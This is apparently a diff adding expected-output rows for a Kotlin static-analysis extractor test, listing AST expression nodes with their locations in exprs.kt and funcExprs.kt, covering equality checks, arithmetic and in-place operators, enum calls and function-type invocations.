+| exprs.kt:189:16:191:9 | Interface1 | exprs.kt:187:13:192:5 | getObject | TypeAccess |
+| exprs.kt:189:16:191:9 | new (...) | exprs.kt:187:13:192:5 | getObject | ClassInstanceExpr |
+| exprs.kt:190:13:190:49 | ...=... | exprs.kt:189:16:191:9 |  | KtInitializerAssignExpr |
+| exprs.kt:190:13:190:49 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:190:13:190:49 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:190:13:190:49 | a3 | exprs.kt:189:16:191:9 |  | VarAccess |
+| exprs.kt:190:13:190:49 | this | exprs.kt:190:13:190:49 | getA3 | ThisAccess |
+| exprs.kt:190:13:190:49 | this.a3 | exprs.kt:190:13:190:49 | getA3 | VarAccess |
+| exprs.kt:190:31:190:32 | getA1(...) | exprs.kt:189:16:191:9 |  | MethodAccess |
+| exprs.kt:190:31:190:32 | this | exprs.kt:189:16:191:9 |  | ThisAccess |
+| exprs.kt:190:31:190:37 | ... + ... | exprs.kt:189:16:191:9 |  | AddExpr |
+| exprs.kt:190:36:190:37 | a2 | exprs.kt:189:16:191:9 |  | VarAccess |
+| exprs.kt:190:40:190:49 | toString(...) | exprs.kt:189:16:191:9 |  | MethodAccess |
+| exprs.kt:195:1:197:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:195:22:195:28 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:196:5:196:20 | y | exprs.kt:195:1:197:1 | notNullAssertion | LocalVariableDeclExpr |
+| exprs.kt:196:18:196:18 | x | exprs.kt:195:1:197:1 | notNullAssertion | VarAccess |
+| exprs.kt:196:19:196:20 | ...!! | exprs.kt:195:1:197:1 | notNullAssertion | NotNullExpr |
+| exprs.kt:200:5:211:5 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:200:11:200:18 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:200:21:200:30 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:202:9:202:29 | a | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:202:17:202:18 | aa | exprs.kt:200:5:211:5 | x | VarAccess |
+| exprs.kt:202:20:202:29 | String | exprs.kt:200:5:211:5 | x | TypeAccess |
+| exprs.kt:202:20:202:29 | valueOf(...) | exprs.kt:200:5:211:5 | x | MethodAccess |
+| exprs.kt:203:9:203:27 | b0 | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:203:19:203:19 | s | exprs.kt:200:5:211:5 | x | VarAccess |
+| exprs.kt:203:21:203:27 | Intrinsics | exprs.kt:200:5:211:5 | x | TypeAccess |
+| exprs.kt:203:21:203:27 | stringPlus(...) | exprs.kt:200:5:211:5 | x | MethodAccess |
+| exprs.kt:203:26:203:26 | 5 | exprs.kt:200:5:211:5 | x | IntegerLiteral |
+| exprs.kt:204:9:204:23 | b1 | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:204:19:204:19 | s | exprs.kt:200:5:211:5 | x | VarAccess |
+| exprs.kt:204:19:204:23 | ... + ... | exprs.kt:200:5:211:5 | x | AddExpr |
+| exprs.kt:204:23:204:23 | 5 | exprs.kt:200:5:211:5 | x | IntegerLiteral |
+| exprs.kt:205:9:205:29 | b2 | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:205:19:205:19 | s | exprs.kt:200:5:211:5 | x | VarAccess |
+| exprs.kt:205:20:205:21 | ...!! | exprs.kt:200:5:211:5 | x | NotNullExpr |
+| exprs.kt:205:23:205:29 | plus(...) | exprs.kt:200:5:211:5 | x | MethodAccess |
+| exprs.kt:205:28:205:28 | 5 | exprs.kt:200:5:211:5 | x | IntegerLiteral |
+| exprs.kt:206:9:206:25 | b3 | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:206:19:206:19 | s | exprs.kt:200:5:211:5 | x | VarAccess |
+| exprs.kt:206:19:206:25 | ... + ... | exprs.kt:200:5:211:5 | x | AddExpr |
+| exprs.kt:206:20:206:21 | ...!! | exprs.kt:200:5:211:5 | x | NotNullExpr |
+| exprs.kt:206:25:206:25 | 5 | exprs.kt:200:5:211:5 | x | IntegerLiteral |
+| exprs.kt:207:9:207:36 | c0 | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:207:18:207:36 | Color | exprs.kt:200:5:211:5 | x | TypeAccess |
+| exprs.kt:207:18:207:36 | values(...) | exprs.kt:200:5:211:5 | x | MethodAccess |
+| exprs.kt:208:9:208:31 | c1 | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:208:24:208:31 | Color | exprs.kt:200:5:211:5 | x | TypeAccess |
+| exprs.kt:208:24:208:31 | values(...) | exprs.kt:200:5:211:5 | x | MethodAccess |
+| exprs.kt:209:9:209:44 | d0 | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:209:18:209:44 | Color | exprs.kt:200:5:211:5 | x | TypeAccess |
+| exprs.kt:209:18:209:44 | valueOf(...) | exprs.kt:200:5:211:5 | x | MethodAccess |
+| exprs.kt:209:38:209:42 | GREEN | exprs.kt:200:5:211:5 | x | StringLiteral |
+| exprs.kt:210:9:210:39 | d1 | exprs.kt:200:5:211:5 | x | LocalVariableDeclExpr |
+| exprs.kt:210:24:210:39 | Color | exprs.kt:200:5:211:5 | x | TypeAccess |
+| exprs.kt:210:24:210:39 | valueOf(...) | exprs.kt:200:5:211:5 | x | MethodAccess |
+| exprs.kt:210:33:210:37 | GREEN | exprs.kt:200:5:211:5 | x | StringLiteral |
+| exprs.kt:214:1:216:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:215:5:215:10 | StandardKt | exprs.kt:214:1:216:1 | todo | TypeAccess |
+| exprs.kt:215:5:215:10 | TODO(...) | exprs.kt:214:1:216:1 | todo | MethodAccess |
+| exprs.kt:219:1:221:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:220:5:220:29 | x | exprs.kt:219:1:221:1 | fnClassRef | LocalVariableDeclExpr |
+| exprs.kt:220:13:220:29 | SomeClass1 | exprs.kt:219:1:221:1 | fnClassRef | TypeAccess |
+| exprs.kt:220:13:220:29 | SomeClass1.class | exprs.kt:219:1:221:1 | fnClassRef | TypeLiteral |
+| exprs.kt:223:1:244:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:223:19:223:39 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:223:42:223:64 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:223:67:223:88 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:223:91:223:114 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:224:3:224:47 | b1 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:224:12:224:27 | notNullPrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:224:12:224:47 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:224:32:224:47 | notNullPrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:225:3:225:48 | b2 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:225:12:225:27 | notNullPrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:225:12:225:48 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:225:32:225:48 | nullablePrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:226:3:226:49 | b3 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:226:12:226:28 | nullablePrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:226:12:226:49 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:226:33:226:49 | nullablePrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:227:3:227:43 | b4 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:227:12:227:25 | notNullReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:227:12:227:43 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:227:30:227:43 | notNullReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:228:3:228:44 | b5 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:228:12:228:25 | notNullReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:228:12:228:44 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:228:30:228:44 | nullableReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:229:3:229:45 | b6 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:229:12:229:26 | nullableReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:229:12:229:45 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:229:31:229:45 | nullableReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:230:3:230:47 | b7 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:230:12:230:27 | notNullPrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:230:12:230:47 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:230:32:230:47 | notNullPrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:231:3:231:48 | b8 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:231:12:231:27 | notNullPrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:231:12:231:48 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:231:32:231:48 | nullablePrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:232:3:232:49 | b9 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:232:12:232:28 | nullablePrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:232:12:232:49 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:232:33:232:49 | nullablePrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:233:3:233:44 | b10 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:233:13:233:26 | notNullReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:233:13:233:44 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:233:31:233:44 | notNullReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:234:3:234:45 | b11 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:234:13:234:26 | notNullReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:234:13:234:45 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:234:31:234:45 | nullableReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:235:3:235:46 | b12 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:235:13:235:27 | nullableReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:235:13:235:46 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:235:32:235:46 | nullableReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:236:3:236:36 | b13 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:236:13:236:28 | notNullPrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:236:13:236:36 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:236:33:236:36 | null | exprs.kt:223:1:244:1 | equalityTests | NullLiteral |
+| exprs.kt:237:3:237:37 | b14 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:237:13:237:29 | nullablePrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:237:13:237:37 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:237:34:237:37 | null | exprs.kt:223:1:244:1 | equalityTests | NullLiteral |
+| exprs.kt:238:3:238:34 | b15 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:238:13:238:26 | notNullReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:238:13:238:34 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:238:31:238:34 | null | exprs.kt:223:1:244:1 | equalityTests | NullLiteral |
+| exprs.kt:239:3:239:35 | b16 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:239:13:239:27 | nullableReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:239:13:239:35 | ... (value equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueEQExpr |
+| exprs.kt:239:32:239:35 | null | exprs.kt:223:1:244:1 | equalityTests | NullLiteral |
+| exprs.kt:240:3:240:36 | b17 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:240:13:240:28 | notNullPrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:240:13:240:36 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:240:33:240:36 | null | exprs.kt:223:1:244:1 | equalityTests | NullLiteral |
+| exprs.kt:241:3:241:37 | b18 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:241:13:241:29 | nullablePrimitive | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:241:13:241:37 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:241:34:241:37 | null | exprs.kt:223:1:244:1 | equalityTests | NullLiteral |
+| exprs.kt:242:3:242:34 | b19 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:242:13:242:26 | notNullReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:242:13:242:34 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:242:31:242:34 | null | exprs.kt:223:1:244:1 | equalityTests | NullLiteral |
+| exprs.kt:243:3:243:35 | b20 | exprs.kt:223:1:244:1 | equalityTests | LocalVariableDeclExpr |
+| exprs.kt:243:13:243:27 | nullableReftype | exprs.kt:223:1:244:1 | equalityTests | VarAccess |
+| exprs.kt:243:13:243:35 | ... (value not-equals) ... | exprs.kt:223:1:244:1 | equalityTests | ValueNEExpr |
+| exprs.kt:243:32:243:35 | null | exprs.kt:223:1:244:1 | equalityTests | NullLiteral |
+| exprs.kt:246:1:259:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:246:18:246:23 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:246:26:246:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:247:18:247:26 | byte | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:247:29:247:37 | byte | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:248:18:248:26 | short | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:248:29:248:37 | short | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:249:18:249:25 | long | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:249:28:249:35 | long | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:250:18:250:27 | double | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:250:30:250:39 | double | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:251:18:251:26 | float | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:251:29:251:37 | float | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:253:3:253:15 | i | exprs.kt:246:1:259:1 | mulOperators | LocalVariableDeclExpr |
+| exprs.kt:253:11:253:11 | x | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:253:11:253:15 | ... * ... | exprs.kt:246:1:259:1 | mulOperators | MulExpr |
+| exprs.kt:253:15:253:15 | y | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:254:3:254:19 | b | exprs.kt:246:1:259:1 | mulOperators | LocalVariableDeclExpr |
+| exprs.kt:254:11:254:13 | byx | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:254:11:254:19 | ... * ... | exprs.kt:246:1:259:1 | mulOperators | MulExpr |
+| exprs.kt:254:17:254:19 | byy | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:255:3:255:17 | l | exprs.kt:246:1:259:1 | mulOperators | LocalVariableDeclExpr |
+| exprs.kt:255:11:255:12 | lx | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:255:11:255:17 | ... * ... | exprs.kt:246:1:259:1 | mulOperators | MulExpr |
+| exprs.kt:255:16:255:17 | ly | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:256:3:256:17 | d | exprs.kt:246:1:259:1 | mulOperators | LocalVariableDeclExpr |
+| exprs.kt:256:11:256:12 | dx | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:256:11:256:17 | ... * ... | exprs.kt:246:1:259:1 | mulOperators | MulExpr |
+| exprs.kt:256:16:256:17 | dy | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:257:3:257:17 | f | exprs.kt:246:1:259:1 | mulOperators | LocalVariableDeclExpr |
+| exprs.kt:257:11:257:12 | fx | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:257:11:257:17 | ... * ... | exprs.kt:246:1:259:1 | mulOperators | MulExpr |
+| exprs.kt:257:16:257:17 | fy | exprs.kt:246:1:259:1 | mulOperators | VarAccess |
+| exprs.kt:261:1:270:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:263:3:263:17 | updated | exprs.kt:261:1:270:1 | inPlaceOperators | LocalVariableDeclExpr |
+| exprs.kt:263:17:263:17 | 0 | exprs.kt:261:1:270:1 | inPlaceOperators | IntegerLiteral |
+| exprs.kt:264:3:264:9 | updated | exprs.kt:261:1:270:1 | inPlaceOperators | VarAccess |
+| exprs.kt:264:3:264:14 | ...+=... | exprs.kt:261:1:270:1 | inPlaceOperators | AssignAddExpr |
+| exprs.kt:264:14:264:14 | 1 | exprs.kt:261:1:270:1 | inPlaceOperators | IntegerLiteral |
+| exprs.kt:265:3:265:9 | updated | exprs.kt:261:1:270:1 | inPlaceOperators | VarAccess |
+| exprs.kt:265:3:265:14 | ...-=... | exprs.kt:261:1:270:1 | inPlaceOperators | AssignSubExpr |
+| exprs.kt:265:14:265:14 | 1 | exprs.kt:261:1:270:1 | inPlaceOperators | IntegerLiteral |
+| exprs.kt:266:3:266:9 | updated | exprs.kt:261:1:270:1 | inPlaceOperators | VarAccess |
+| exprs.kt:266:3:266:14 | ...*=... | exprs.kt:261:1:270:1 | inPlaceOperators | AssignMulExpr |
+| exprs.kt:266:14:266:14 | 1 | exprs.kt:261:1:270:1 | inPlaceOperators | IntegerLiteral |
+| exprs.kt:267:3:267:9 | updated | exprs.kt:261:1:270:1 | inPlaceOperators | VarAccess |
+| exprs.kt:267:3:267:14 | .../=... | exprs.kt:261:1:270:1 | inPlaceOperators | AssignDivExpr |
+| exprs.kt:267:14:267:14 | 1 | exprs.kt:261:1:270:1 | inPlaceOperators | IntegerLiteral |
+| exprs.kt:268:3:268:9 | updated | exprs.kt:261:1:270:1 | inPlaceOperators | VarAccess |
+| exprs.kt:268:3:268:14 | ...%=... | exprs.kt:261:1:270:1 | inPlaceOperators | AssignRemExpr |
+| exprs.kt:268:14:268:14 | 1 | exprs.kt:261:1:270:1 | inPlaceOperators | IntegerLiteral |
+| funcExprs.kt:1:1:1:46 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:1:26:1:37 | Function0<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:1:26:1:37 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:1:42:1:42 | f | funcExprs.kt:1:1:1:46 | functionExpression0a | VarAccess |
+| funcExprs.kt:1:42:1:44 | <implicit coercion to unit> | funcExprs.kt:1:1:1:46 | functionExpression0a | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:1:42:1:44 | Unit | funcExprs.kt:1:1:1:46 | functionExpression0a | TypeAccess |
+| funcExprs.kt:1:42:1:44 | invoke(...) | funcExprs.kt:1:1:1:46 | functionExpression0a | MethodAccess |
+| funcExprs.kt:2:1:2:47 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:2:26:2:38 | Function0<Object> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:2:26:2:38 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:2:43:2:43 | f | funcExprs.kt:2:1:2:47 | functionExpression0b | VarAccess |
+| funcExprs.kt:2:43:2:45 | <implicit coercion to unit> | funcExprs.kt:2:1:2:47 | functionExpression0b | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:2:43:2:45 | Unit | funcExprs.kt:2:1:2:47 | functionExpression0b | TypeAccess |
+| funcExprs.kt:2:43:2:45 | invoke(...) | funcExprs.kt:2:1:2:47 | functionExpression0b | MethodAccess |
+| funcExprs.kt:3:1:3:46 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:3:26:3:37 | Function0<Object> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:3:26:3:37 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:3:42:3:42 | f | funcExprs.kt:3:1:3:46 | functionExpression0c | VarAccess |
+| funcExprs.kt:3:42:3:44 | <implicit coercion to unit> | funcExprs.kt:3:1:3:46 | functionExpression0c | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:3:42:3:44 | Unit | funcExprs.kt:3:1:3:46 | functionExpression0c | TypeAccess |
+| funcExprs.kt:3:42:3:44 | invoke(...) | funcExprs.kt:3:1:3:46 | functionExpression0c | MethodAccess |
+| funcExprs.kt:4:1:4:58 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:4:26:4:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:4:34:4:48 | Function1<Integer,Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:4:34:4:48 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:4:34:4:48 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:4:53:4:53 | f | funcExprs.kt:4:1:4:58 | functionExpression1a | VarAccess |
+| funcExprs.kt:4:53:4:56 | <implicit coercion to unit> | funcExprs.kt:4:1:4:58 | functionExpression1a | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:4:53:4:56 | Unit | funcExprs.kt:4:1:4:58 | functionExpression1a | TypeAccess |
+| funcExprs.kt:4:53:4:56 | invoke(...) | funcExprs.kt:4:1:4:58 | functionExpression1a | MethodAccess |
+| funcExprs.kt:4:55:4:55 | x | funcExprs.kt:4:1:4:58 | functionExpression1a | VarAccess |
+| funcExprs.kt:5:1:5:60 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:5:26:5:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:5:34:5:50 | Function1<Object,Object> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:5:34:5:50 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:5:34:5:50 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:5:55:5:55 | f | funcExprs.kt:5:1:5:60 | functionExpression1b | VarAccess |
+| funcExprs.kt:5:55:5:58 | <implicit coercion to unit> | funcExprs.kt:5:1:5:60 | functionExpression1b | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:5:55:5:58 | Unit | funcExprs.kt:5:1:5:60 | functionExpression1b | TypeAccess |
+| funcExprs.kt:5:55:5:58 | invoke(...) | funcExprs.kt:5:1:5:60 | functionExpression1b | MethodAccess |
+| funcExprs.kt:5:57:5:57 | x | funcExprs.kt:5:1:5:60 | functionExpression1b | VarAccess |
+| funcExprs.kt:6:1:6:78 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:6:26:6:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:6:34:6:57 | FuncRef | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:6:34:6:57 | Function2<FuncRef,Integer,Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:6:34:6:57 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:6:34:6:57 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:6:62:6:62 | f | funcExprs.kt:6:1:6:78 | functionExpression1c | VarAccess |
+| funcExprs.kt:6:62:6:76 | <implicit coercion to unit> | funcExprs.kt:6:1:6:78 | functionExpression1c | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:6:62:6:76 | Unit | funcExprs.kt:6:1:6:78 | functionExpression1c | TypeAccess |
+| funcExprs.kt:6:62:6:76 | invoke(...) | funcExprs.kt:6:1:6:78 | functionExpression1c | MethodAccess |
+| funcExprs.kt:6:64:6:72 | FuncRef | funcExprs.kt:6:1:6:78 | functionExpression1c | TypeAccess |
+| funcExprs.kt:6:64:6:72 | new FuncRef(...) | funcExprs.kt:6:1:6:78 | functionExpression1c | ClassInstanceExpr |
+| funcExprs.kt:6:75:6:75 | x | funcExprs.kt:6:1:6:78 | functionExpression1c | VarAccess |
+| funcExprs.kt:7:1:7:65 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:7:25:7:30 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:7:33:7:52 | Function2<Integer,Integer,Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:7:33:7:52 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:7:33:7:52 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:7:33:7:52 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:7:57:7:57 | f | funcExprs.kt:7:1:7:65 | functionExpression2 | VarAccess |
+| funcExprs.kt:7:57:7:63 | <implicit coercion to unit> | funcExprs.kt:7:1:7:65 | functionExpression2 | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:7:57:7:63 | Unit | funcExprs.kt:7:1:7:65 | functionExpression2 | TypeAccess |
+| funcExprs.kt:7:57:7:63 | invoke(...) | funcExprs.kt:7:1:7:65 | functionExpression2 | MethodAccess |
+| funcExprs.kt:7:59:7:59 | x | funcExprs.kt:7:1:7:65 | functionExpression2 | VarAccess |
+| funcExprs.kt:7:62:7:62 | x | funcExprs.kt:7:1:7:65 | functionExpression2 | VarAccess |
+| funcExprs.kt:8:1:8:63 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:8:25:8:30 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:8:33:8:51 | Function2<Integer,Integer,Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:8:33:8:51 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:8:33:8:51 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:8:33:8:51 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:8:56:8:56 | x | funcExprs.kt:8:1:8:63 | functionExpression3 | VarAccess |
+| funcExprs.kt:8:58:8:58 | f | funcExprs.kt:8:1:8:63 | functionExpression3 | VarAccess |
+| funcExprs.kt:8:58:8:61 | <implicit coercion to unit> | funcExprs.kt:8:1:8:63 | functionExpression3 | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:8:58:8:61 | Unit | funcExprs.kt:8:1:8:63 | functionExpression3 | TypeAccess |
+| funcExprs.kt:8:58:8:61 | invoke(...) | funcExprs.kt:8:1:8:63 | functionExpression3 | MethodAccess |
+| funcExprs.kt:8:60:8:60 | x | funcExprs.kt:8:1:8:63 | functionExpression3 | VarAccess |
